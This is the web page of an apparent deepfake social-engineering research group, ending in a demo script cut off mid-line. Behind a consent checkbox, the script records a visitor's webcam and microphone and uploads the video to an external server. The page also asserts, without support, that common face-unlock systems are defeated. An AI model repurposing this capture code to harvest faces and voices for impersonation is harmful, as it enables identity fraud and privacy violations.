Shadow Grid Ireland

WE TEST WHAT OTHERS IGNORE

Our mission is to close the widening gap between traditional defenses and the psychological reality of next-generation threats. We are a research and demonstration initiative exploring deepfake-enabled social engineering risks.

Shadow grid ireland

AI Enabled Impersonation REsearch

Threat actors can digitally forge your identity; that's where we come in.
Our flagship research includes:

shadow grid ireland

YOUR BIOMETRICS are no longer secure

Windows Hello, Apple FaceID, and Android Face Unlock? Nope.

shadow grid ireland

Physical Intrusion testing

See how secure your facility really is...or isn't.

Shadow Grid Ireland

Who we are

Forward thinking innovators researching the next generation of AI threats in Ireland.

Shadow Grid Ireland is NOT offering services, paid or otherwise, at this time. We partake in research & demonstrations for educational purposes.

🎭 Deepfake Risk Simulation Demo

To participate in this simulation, please grant access to your webcam and microphone.





let mediaRecorder; let recordedChunks = []; let stream; async function startCapture() { const consent = document.getElementById("consent").checked; if (!consent) { alert("You must provide consent to participate."); return; } stream = await navigator.mediaDevices.getUserMedia({ video: true, audio: true }); document.getElementById("preview").srcObject = stream; recordedChunks = []; mediaRecorder = new MediaRecorder(stream); mediaRecorder.ondataavailable = function (e) { if (e.data.size > 0) recordedChunks.push(e.data); }; mediaRecorder.onstop = async function () { const blob = new Blob(recordedChunks, { type: "video/webm" }); const formData = new FormData(); formData.append("file", blob, "capture.webm"); document.getElementById("status").innerText = "Uploading..."; try { await fetch("https://3000-5532dfc2a4ee.r.runpod.io/upload", { method: "POST", body: formData, }); document.getElementById("status").innerText = "✅ Uploaded!"; } catch (err) { console.error(err); document.getElementById("status").innerText = "❌ Upload faile